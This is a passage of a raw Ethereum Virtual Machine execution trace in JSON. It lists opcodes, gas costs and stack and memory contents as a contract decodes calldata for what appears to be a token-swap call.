6d","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15131,"op":"PUSH1","gas":118188,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15133,"op":"DUP3","gas":118185,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15134,"op":"DUP3","gas":118182,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15135,"op":"LT","gas":118179,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15136,"op":"ISZERO","gas":118176,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15137,"op":"PUSH2","gas":118173,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15140,"op":"JUMPI","gas":118170,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15148,"op":"JUMPDEST","gas":118160,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15149,"op":"POP","gas":118159,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15150,"op":"SUB","gas":118157,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15151,"op":"SWAP1","gas":118154,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15152,"op":"JUMP","gas":118151,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1","0x96d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2413,"op":"JUMPDEST","gas":118143,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2414,"op":"DUP2","gas":118142,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2415,"op":"DUP2","gas":118139,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2416,"op":"LT","gas":118136,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2417,"op":"PUSH2","gas":118133,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2420,"op":"JUMPI","gas":118130,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1","0x1","0x97c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2428,"op":"JUMPDEST","gas":118120,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2429,"op":"SWAP1","gas":118119,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2430,"op":"POP","gas":118116,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2431,"op":"PUSH1","gas":118114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2433,"op":"MUL","gas":118111,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2434,"op":"ADD","gas":118106,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2435,"op":"PUSH1","gas":118103,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2437,"op":"DUP2","gas":118100,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xe4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2438,"op":"ADD","gas":118097,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xe4","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2439,"op":"SWAP1","gas":118094,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2440,"op":"PUSH2","gas":118091,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2443,"op":"SWAP2","gas":118088,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x104","0xe4","0x991"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2444,"op":"SWAP1","gas":118085,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2445,"op":"PUSH2","gas":118082,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2448,"op":"JUMP","gas":118079,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x3b81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15233,"op":"JUMPDEST","gas":118071,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15234,"op":"PUSH1","gas":118070,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15236,"op":"PUSH1","gas":118067,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15238,"op":"DUP3","gas":118064,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15239,"op":"DUP5","gas":118061,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15240,"op":"SUB","gas":118058,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x20","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15241,"op":"SLT","gas":118055,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15242,"op":"ISZERO","gas":118052,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15243,"op":"PUSH2","gas":118049,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15246,"op":"JUMPI","gas":118046,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0x1","0x3b93"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15251,"op":"JUMPDEST","gas":118036,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15252,"op":"DUP2","gas":118035,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15253,"op":"CALLDATALOAD","gas":118032,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x991","0x104","0xe4","0x0","0xe4"],"memory":["00000000000000000000000000000000000000000000